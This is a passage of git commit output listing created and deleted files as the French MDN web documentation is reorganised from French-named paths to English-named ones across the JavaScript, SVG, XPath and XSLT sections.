files/fr/web/javascript/reference/objets_globaux/symbol/replace/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/search/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/species/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/split/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/toprimitive/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/tosource/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/tostringtag/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/unscopables/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/symbol/valueof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/syntaxerror/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/syntaxerror/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/@@iterator/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/@@species/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/buffer/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/bytelength/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/byteoffset/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/bytes_per_element/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/copywithin/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/entries/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/every/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/fill/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/filter/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/find/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/findindex/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/foreach/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/from/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/includes/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/indexof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/join/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/keys/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/lastindexof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/length/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/map/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/name/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/of/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/reduce/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/reduceright/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/reverse/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/set/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/slice/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/some/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/sort/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/subarray/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/tolocalestring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typedarray/values/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typeerror/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/typeerror/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/uint16array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/uint32array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/uint8array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/uint8clampedarray/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/undefined/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/unescape/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/uneval/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/urierror/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/urierror/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakmap/clear/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakmap/delete/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakmap/get/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakmap/has/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakmap/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakmap/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakmap/set/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakset/add/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakset/clear/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakset/delete/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakset/has/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakset/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/weakset/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/compile/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/compileerror/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/compilestreaming/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/global/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/global/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/instance/exports/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/instance/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/instance/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/instantiate/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/instantiatestreaming/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/linkerror/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/memory/buffer/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/memory/grow/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/memory/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/memory/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/module/customsections/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/module/exports/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/module/imports/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/module/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/module/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/runtimeerror/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/table/get/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/table/grow/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/table/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/table/length/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/table/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/table/set/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/webassembly/validate/index.html create mode 100644 files/fr/web/javascript/reference/operators/addition/index.html create mode 100644 files/fr/web/javascript/reference/operators/addition_assignment/index.html create mode 100644 files/fr/web/javascript/reference/operators/assignment/index.html create mode 100644 files/fr/web/javascript/reference/operators/async_function/index.html create mode 100644 files/fr/web/javascript/reference/operators/await/index.html create mode 100644 files/fr/web/javascript/reference/operators/class/index.html create mode 100644 files/fr/web/javascript/reference/operators/comma_operator/index.html create mode 100644 files/fr/web/javascript/reference/operators/conditional_operator/index.html create mode 100644 files/fr/web/javascript/reference/operators/delete/index.html create mode 100644 files/fr/web/javascript/reference/operators/destructuring_assignment/index.html create mode 100644 files/fr/web/javascript/reference/operators/function/index.html create mode 100644 files/fr/web/javascript/reference/operators/function_star_/index.html create mode 100644 files/fr/web/javascript/reference/operators/grouping/index.html create mode 100644 files/fr/web/javascript/reference/operators/in/index.html create mode 100644 files/fr/web/javascript/reference/operators/index.html create mode 100644 files/fr/web/javascript/reference/operators/instanceof/index.html create mode 100644 files/fr/web/javascript/reference/operators/new.target/index.html create mode 100644 files/fr/web/javascript/reference/operators/new/index.html create mode 100644 files/fr/web/javascript/reference/operators/nullish_coalescing_operator/index.html create mode 100644 files/fr/web/javascript/reference/operators/object_initializer/index.html create mode 100644 files/fr/web/javascript/reference/operators/operator_precedence/index.html create mode 100644 files/fr/web/javascript/reference/operators/optional_chaining/index.html create mode 100644 files/fr/web/javascript/reference/operators/pipeline_operator/index.html create mode 100644 files/fr/web/javascript/reference/operators/property_accessors/index.html create mode 100644 files/fr/web/javascript/reference/operators/spread_syntax/index.html create mode 100644 files/fr/web/javascript/reference/operators/super/index.html create mode 100644 files/fr/web/javascript/reference/operators/this/index.html create mode 100644 files/fr/web/javascript/reference/operators/typeof/index.html create mode 100644 files/fr/web/javascript/reference/operators/void/index.html create mode 100644 files/fr/web/javascript/reference/operators/yield/index.html create mode 100644 files/fr/web/javascript/reference/operators/yield_star_/index.html delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/addition/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/addition_avec_assignement/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/affecter_par_d\303\251composition/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/assignement/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/async_function/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/await/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/class/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/function_star_/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/groupement/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/initialisateur_objet/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/instanceof/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_conditionnel/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_delete/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_function/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_in/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_new/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_this/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_typeof/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_virgule/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_void/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/new.target/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/nullish_coalescing_operator/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/optional_chaining/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_arithm\303\251tiques/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_binaires/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_d_affectation/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_cha\303\256nes/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_comparaison/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_de_membres/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_logiques/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/pr\303\251c\303\251dence_des_op\303\251rateurs/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/super/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/syntaxe_d\303\251composition/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/tube/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/yield/index.html" delete mode 100644 "files/fr/web/javascript/reference/op\303\251rateurs/yield_star_/index.html" create mode 100644 files/fr/web/javascript/reference/statements/async_function/index.html create mode 100644 files/fr/web/javascript/reference/statements/block/index.html create mode 100644 files/fr/web/javascript/reference/statements/break/index.html create mode 100644 files/fr/web/javascript/reference/statements/class/index.html create mode 100644 files/fr/web/javascript/reference/statements/const/index.html create mode 100644 files/fr/web/javascript/reference/statements/continue/index.html create mode 100644 files/fr/web/javascript/reference/statements/debugger/index.html create mode 100644 files/fr/web/javascript/reference/statements/do...while/index.html create mode 100644 files/fr/web/javascript/reference/statements/empty/index.html create mode 100644 files/fr/web/javascript/reference/statements/export/index.html create mode 100644 files/fr/web/javascript/reference/statements/for-await...of/index.html create mode 100644 files/fr/web/javascript/reference/statements/for...in/index.html create mode 100644 files/fr/web/javascript/reference/statements/for...of/index.html create mode 100644 files/fr/web/javascript/reference/statements/for/index.html create mode 100644 files/fr/web/javascript/reference/statements/function/index.html create mode 100644 files/fr/web/javascript/reference/statements/function_star_/index.html create mode 100644 files/fr/web/javascript/reference/statements/if...else/index.html create mode 100644 files/fr/web/javascript/reference/statements/import.meta/index.html create mode 100644 files/fr/web/javascript/reference/statements/import/index.html create mode 100644 files/fr/web/javascript/reference/statements/index.html create mode 100644 files/fr/web/javascript/reference/statements/label/index.html create mode 100644 files/fr/web/javascript/reference/statements/let/index.html create mode 100644 files/fr/web/javascript/reference/statements/return/index.html create mode 100644 files/fr/web/javascript/reference/statements/switch/index.html create mode 100644 files/fr/web/javascript/reference/statements/throw/index.html create mode 100644 files/fr/web/javascript/reference/statements/try...catch/index.html create mode 100644 files/fr/web/javascript/reference/statements/var/index.html create mode 100644 files/fr/web/javascript/reference/statements/while/index.html create mode 100644 files/fr/web/javascript/reference/statements/with/index.html delete mode 100644 files/fr/web/javascript/reference/strict_mode/passer_au_mode_strict/index.html create mode 100644 files/fr/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html create mode 100644 files/fr/web/javascript/reference/template_literals/index.html create mode 100644 files/fr/web/javascript/reference/trailing_commas/index.html delete mode 100644 files/fr/web/javascript/reference/virgules_finales/index.html delete mode 100644 "files/fr/web/javascript/structures_de_donn\303\251es/index.html" delete mode 100644 "files/fr/web/javascript/tableaux_typ\303\251s/index.html" create mode 100644 files/fr/web/javascript/the_performance_hazards_of_prototype_mutation/index.html create mode 100644 files/fr/web/javascript/typed_arrays/index.html delete mode 100644 "files/fr/web/javascript/une_r\303\251introduction_\303\240_javascript/index.html" delete mode 100644 files/fr/web/mathml/attribute/valeurs/index.html create mode 100644 files/fr/web/mathml/attribute/values/index.html create mode 100644 files/fr/web/mathml/examples/deriving_the_quadratic_formula/index.html create mode 100644 files/fr/web/mathml/examples/index.html create mode 100644 files/fr/web/mathml/examples/mathml_pythagorean_theorem/index.html delete mode 100644 "files/fr/web/mathml/exemples/d\303\251river_la_formule_quadratique/index.html" delete mode 100644 files/fr/web/mathml/exemples/index.html delete mode 100644 files/fr/web/mathml/exemples/mathml_theoreme_de_pythagore/index.html create mode 100644 files/fr/web/media/dash_adaptive_streaming_for_html_5_video/index.html create mode 100644 files/fr/web/media/formats/image_types/index.html delete mode 100644 files/fr/web/media/formats/questions_sur_le_soutien/index.html create mode 100644 files/fr/web/media/formats/support_issues/index.html delete mode 100644 files/fr/web/media/formats/types_des_images/index.html delete mode 100644 files/fr/web/performance/budgets_de_performance/index.html create mode 100644 files/fr/web/performance/performance_budgets/index.html delete mode 100644 files/fr/web/progressive_web_apps/adaptative/index.html create mode 100644 files/fr/web/progressive_web_apps/add_to_home_screen/index.html delete mode 100644 files/fr/web/progressive_web_apps/ajouter_a_lecran_daccueil_a2hs/index.html delete mode 100644 files/fr/web/progressive_web_apps/chargement/index.html delete mode 100644 files/fr/web/progressive_web_apps/identifiable/index.html delete mode 100644 files/fr/web/progressive_web_apps/independante_du_reseau/index.html delete mode 100644 files/fr/web/progressive_web_apps/installable/index.html create mode 100644 files/fr/web/progressive_web_apps/loading/index.html delete mode 100644 files/fr/web/progressive_web_apps/partageable/index.html delete mode 100644 files/fr/web/progressive_web_apps/progressive/index.html delete mode 100644 files/fr/web/progressive_web_apps/re-engageable/index.html create mode 100644 files/fr/web/progressive_web_apps/re-engageable_notifications_push/index.html delete mode 100644 files/fr/web/progressive_web_apps/relancer_via_notifications_push/index.html create mode 100644 files/fr/web/progressive_web_apps/responsive/media_types/index.html create mode 100644 files/fr/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html delete mode 100644 files/fr/web/progressive_web_apps/securisee/index.html delete mode 100644 files/fr/web/security/public_key_pinning/index.html create mode 100644 files/fr/web/security/same-origin_policy/index.html delete mode 100644 files/fr/web/security/same_origin_policy_for_javascript/index.html delete mode 100644 files/fr/web/svg/application_d_effets_svg_a_du_contenu_html/index.html create mode 100644 files/fr/web/svg/applying_svg_effects_to_html_content/index.html create mode 100644 files/fr/web/svg/compatibility_sources/index.html delete mode 100644 files/fr/web/svg/sources_compatibilite/index.html create mode 100644 files/fr/web/svg/svg_1.1_support_in_firefox/index.html create mode 100644 files/fr/web/svg/svg_as_an_image/index.html delete mode 100644 files/fr/web/svg/svg_en_tant_qu_image/index.html create mode 100644 files/fr/web/svg/tutorial/basic_shapes/index.html create mode 100644 files/fr/web/svg/tutorial/basic_transformations/index.html create mode 100644 files/fr/web/svg/tutorial/clipping_and_masking/index.html create mode 100644 files/fr/web/svg/tutorial/fills_and_strokes/index.html create mode 100644 files/fr/web/svg/tutorial/filter_effects/index.html create mode 100644 files/fr/web/svg/tutorial/getting_started/index.html create mode 100644 files/fr/web/svg/tutorial/gradients/index.html create mode 100644 files/fr/web/svg/tutorial/index.html create mode 100644 files/fr/web/svg/tutorial/introduction/index.html create mode 100644 files/fr/web/svg/tutorial/other_content_in_svg/index.html create mode 100644 files/fr/web/svg/tutorial/paths/index.html create mode 100644 files/fr/web/svg/tutorial/patterns/index.html create mode 100644 files/fr/web/svg/tutorial/positions/index.html create mode 100644 files/fr/web/svg/tutorial/svg_and_css/index.html create mode 100644 files/fr/web/svg/tutorial/svg_fonts/index.html create mode 100644 files/fr/web/svg/tutorial/svg_image_tag/index.html create mode 100644 files/fr/web/svg/tutorial/svg_in_html_introduction/index.html create mode 100644 files/fr/web/svg/tutorial/texts/index.html create mode 100644 files/fr/web/svg/tutorial/tools_for_svg/index.html delete mode 100644 files/fr/web/svg/tutoriel/contenu_embarque_svg/index.html delete mode 100644 "files/fr/web/svg/tutoriel/d\303\251coupages_et_masquages/index.html" delete mode 100644 files/fr/web/svg/tutoriel/fills_and_strokes/index.html delete mode 100644 files/fr/web/svg/tutoriel/filtres/index.html delete mode 100644 files/fr/web/svg/tutoriel/formes_de_base/index.html delete mode 100644 files/fr/web/svg/tutoriel/gradients/index.html delete mode 100644 files/fr/web/svg/tutoriel/index.html delete mode 100644 files/fr/web/svg/tutoriel/introduction/index.html delete mode 100644 "files/fr/web/svg/tutoriel/introduction_\303\240_svg_dans_html/index.html" delete mode 100644 files/fr/web/svg/tutoriel/motifs/index.html delete mode 100644 files/fr/web/svg/tutoriel/paths/index.html delete mode 100644 files/fr/web/svg/tutoriel/polices_svg/index.html delete mode 100644 files/fr/web/svg/tutoriel/positionnement/index.html delete mode 100644 files/fr/web/svg/tutoriel/premiers_pas/index.html delete mode 100644 files/fr/web/svg/tutoriel/svg_image_tag/index.html delete mode 100644 files/fr/web/svg/tutoriel/texts/index.html delete mode 100644 files/fr/web/svg/tutoriel/tools_for_svg/index.html delete mode 100644 files/fr/web/svg/tutoriel/transformations_de_base/index.html create mode 100644 files/fr/web/tutorials/index.html delete mode 100644 files/fr/web/tutoriels/index.html create mode 100644 files/fr/web/web_components/using_templates_and_slots/index.html delete mode 100644 files/fr/web/web_components/utilisation_des_templates_et_des_slots/index.html delete mode 100644 "files/fr/web/xml/introduction_\303\240_xml/index.html" create mode 100644 files/fr/web/xml/xml_introduction/index.html create mode 100644 files/fr/web/xpath/comparison_with_css_selectors/index.html delete mode 100644 files/fr/web/xpath/fonctions/boolean/index.html delete mode 100644 files/fr/web/xpath/fonctions/ceiling/index.html delete mode 100644 files/fr/web/xpath/fonctions/concat/index.html delete mode 100644 files/fr/web/xpath/fonctions/contains/index.html delete mode 100644 files/fr/web/xpath/fonctions/count/index.html delete mode 100644 files/fr/web/xpath/fonctions/current/index.html delete mode 100644 files/fr/web/xpath/fonctions/document/index.html delete mode 100644 files/fr/web/xpath/fonctions/element-available/index.html delete mode 100644 files/fr/web/xpath/fonctions/false/index.html delete mode 100644 files/fr/web/xpath/fonctions/floor/index.html delete mode 100644 files/fr/web/xpath/fonctions/format-number/index.html delete mode 100644 files/fr/web/xpath/fonctions/function-available/index.html delete mode 100644 files/fr/web/xpath/fonctions/generate-id/index.html delete mode 100644 files/fr/web/xpath/fonctions/id/index.html delete mode 100644 files/fr/web/xpath/fonctions/index.html delete mode 100644 files/fr/web/xpath/fonctions/key/index.html delete mode 100644 files/fr/web/xpath/fonctions/lang/index.html delete mode 100644 files/fr/web/xpath/fonctions/last/index.html delete mode 100644 files/fr/web/xpath/fonctions/local-name/index.html delete mode 100644 files/fr/web/xpath/fonctions/name/index.html delete mode 100644 files/fr/web/xpath/fonctions/namespace-uri/index.html delete mode 100644 files/fr/web/xpath/fonctions/normalize-space/index.html delete mode 100644 files/fr/web/xpath/fonctions/not/index.html delete mode 100644 files/fr/web/xpath/fonctions/number/index.html delete mode 100644 files/fr/web/xpath/fonctions/position/index.html delete mode 100644 files/fr/web/xpath/fonctions/round/index.html delete mode 100644 files/fr/web/xpath/fonctions/starts-with/index.html delete mode 100644 files/fr/web/xpath/fonctions/string-length/index.html delete mode 100644 files/fr/web/xpath/fonctions/string/index.html delete mode 100644 files/fr/web/xpath/fonctions/substring-after/index.html delete mode 100644 files/fr/web/xpath/fonctions/substring-before/index.html delete mode 100644 files/fr/web/xpath/fonctions/substring/index.html delete mode 100644 files/fr/web/xpath/fonctions/sum/index.html delete mode 100644 files/fr/web/xpath/fonctions/system-property/index.html delete mode 100644 files/fr/web/xpath/fonctions/translate/index.html delete mode 100644 files/fr/web/xpath/fonctions/true/index.html delete mode 100644 files/fr/web/xpath/fonctions/unparsed-entity-url/index.html create mode 100644 files/fr/web/xpath/functions/boolean/index.html create mode 100644 files/fr/web/xpath/functions/ceiling/index.html create mode 100644 files/fr/web/xpath/functions/concat/index.html create mode 100644 files/fr/web/xpath/functions/contains/index.html create mode 100644 files/fr/web/xpath/functions/count/index.html create mode 100644 files/fr/web/xpath/functions/current/index.html create mode 100644 files/fr/web/xpath/functions/document/index.html create mode 100644 files/fr/web/xpath/functions/element-available/index.html create mode 100644 files/fr/web/xpath/functions/false/index.html create mode 100644 files/fr/web/xpath/functions/floor/index.html create mode 100644 files/fr/web/xpath/functions/format-number/index.html create mode 100644 files/fr/web/xpath/functions/function-available/index.html create mode 100644 files/fr/web/xpath/functions/generate-id/index.html create mode 100644 files/fr/web/xpath/functions/id/index.html create mode 100644 files/fr/web/xpath/functions/index.html create mode 100644 files/fr/web/xpath/functions/key/index.html create mode 100644 files/fr/web/xpath/functions/lang/index.html create mode 100644 files/fr/web/xpath/functions/last/index.html create mode 100644 files/fr/web/xpath/functions/local-name/index.html create mode 100644 files/fr/web/xpath/functions/name/index.html create mode 100644 files/fr/web/xpath/functions/namespace-uri/index.html create mode 100644 files/fr/web/xpath/functions/normalize-space/index.html create mode 100644 files/fr/web/xpath/functions/not/index.html create mode 100644 files/fr/web/xpath/functions/number/index.html create mode 100644 files/fr/web/xpath/functions/position/index.html create mode 100644 files/fr/web/xpath/functions/round/index.html create mode 100644 files/fr/web/xpath/functions/starts-with/index.html create mode 100644 files/fr/web/xpath/functions/string-length/index.html create mode 100644 files/fr/web/xpath/functions/string/index.html create mode 100644 files/fr/web/xpath/functions/substring-after/index.html create mode 100644 files/fr/web/xpath/functions/substring-before/index.html create mode 100644 files/fr/web/xpath/functions/substring/index.html create mode 100644 files/fr/web/xpath/functions/sum/index.html create mode 100644 files/fr/web/xpath/functions/system-property/index.html create mode 100644 files/fr/web/xpath/functions/translate/index.html create mode 100644 files/fr/web/xpath/functions/true/index.html create mode 100644 files/fr/web/xpath/functions/unparsed-entity-url/index.html create mode 100644 files/fr/web/xpath/introduction_to_using_xpath_in_javascript/index.html delete mode 100644 files/fr/web/xslt/apply-imports/index.html delete mode 100644 files/fr/web/xslt/apply-templates/index.html delete mode 100644 files/fr/web/xslt/attribute-set/index.html delete mode 100644 files/fr/web/xslt/attribute/index.html delete mode 100644 files/fr/web/xslt/call-template/index.html delete mode 100644 files/fr/web/xslt/choose/index.html delete mode 100644 files/fr/web/xslt/comment/index.html delete mode 100644 files/fr/web/xslt/copy-of/index.html delete mode 100644 files/fr/web/xslt/copy/index.html delete mode 100644 files/fr/web/xslt/decimal-format/index.html create mode 100644 files/fr/web/xslt/element/apply-imports/index.html create mode 100644 files/fr/web/xslt/element/apply-templates/index.html create mode 100644 files/fr/web/xslt/element/attribute-set/index.html create mode 100644 files/fr/web/xslt/element/attribute/index.html create mode 100644 files/fr/web/xslt/element/call-template/index.html create mode 100644 files/fr/web/xslt/element/choose/index.html create mode 100644 files/fr/web/xslt/element/comment/index.html create mode 100644 files/fr/web/xslt/element/copy-of/index.html create mode 100644 files/fr/web/xslt/element/copy/index.html create mode 100644 files/fr/web/xslt/element/decimal-format/index.html create mode 100644 files/fr/web/xslt/element/fallback/index.html create mode 100644 files/fr/web/xslt/element/for-each/index.html create mode 100644 files/fr/web/xslt/element/if/index.html create mode 100644 files/fr/web/xslt/element/import/index.html create mode 100644 files/fr/web/xslt/element/include/index.html create mode 100644 files/fr/web/xslt/element/key/index.html create mode 100644 files/fr/web/xslt/element/message/index.html create mode 100644 files/fr/web/xslt/element/namespace-alias/index.html create mode 100644 files/fr/web/xslt/element/number/index.html create mode 100644 files/fr/web/xslt/element/otherwise/index.html create mode 100644 files/fr/web/xslt/element/output/index.html create mode 100644 files/fr/web/xslt/element/param/index.html create mode 100644 files/fr/web/xslt/element/preserve-space/index.html create mode 100644 files/fr/web/xslt/element/processing-instruction/index.html create mode 100644 files/fr/web/xslt/element/sort/index.html create mode 100644 files/fr/web/xslt/element/strip-space/index.html create mode 100644 files/fr/web/xslt/element/stylesheet/index.html create mode 100644 files/fr/web/xslt/element/template/index.html create mode 100644 files/fr/web/xslt/element/text/index.html create mode 100644 files/fr/web/xslt/element/transform/index.html create mode 100644 files/fr/web/xslt/element/value-of/index.html create mode 100644 files/fr/web/xslt/element/variable/index.html create mode 100644 files/fr/web/xslt/element/when/index.html create mode 100644 files/fr/web/xslt/element/with-param/index.html delete mode 100644 files/fr/web/xslt/fallback/index.html delete mode 100644 files/fr/web/xslt/for-each/index.html delete mode 100644 files/fr/web/xslt/if/index.html delete mode 100644 files/fr/web/xslt/import/index.html delete mode 100644 files/fr/web/xslt/include/index.html create mode 100644 files/fr/web/xslt/index/index.html delete mode 100644 "files/fr/web/xslt/interface_xslt_js_dans_gecko/d\303\251finition_de_param\303\250tres/index.html" delete mode 100644 "files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_avanc\303\251/index.html" delete mode 100644 files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_basique/index.html delete mode 100644 files/fr/web/xslt/interface_xslt_js_dans_gecko/index.html delete mode 100644 files/fr/web/xslt/interface_xslt_js_dans_gecko/les_liaisons_javascript_xslt/index.html delete mode 100644 files/fr/web/xslt/interface_xslt_js_dans_gecko/ressources/index.html delete mode 100644 files/fr/web/xslt/key/index.html delete mode 100644 files/fr/web/xslt/message/index.html delete mode 100644 files/fr/web/xslt/namespace-alias/index.html delete mode 100644 files/fr/web/xslt/number/index.html delete mode 100644 files/fr/web/xslt/otherwise/index.html delete mode 100644 files/fr/web/xslt/output/index.html delete mode 100644 files/fr/web/xslt/param/index.html delete mode 100644 "files/fr/web/xslt/param\303\250tres_des_instructions_de_traitement/index.html" create mode 100644 files/fr/web/xslt/pi_parameters/index.html delete mode 100644 files/fr/web/xslt/preserve-space/index.html delete mode 100644 files/fr/web/xslt/processing-instruction/index.html delete mode 100644 files/fr/web/xslt/sommaire/index.html delete mode 100644 files/fr/web/xslt/sort/index.html delete mode 100644 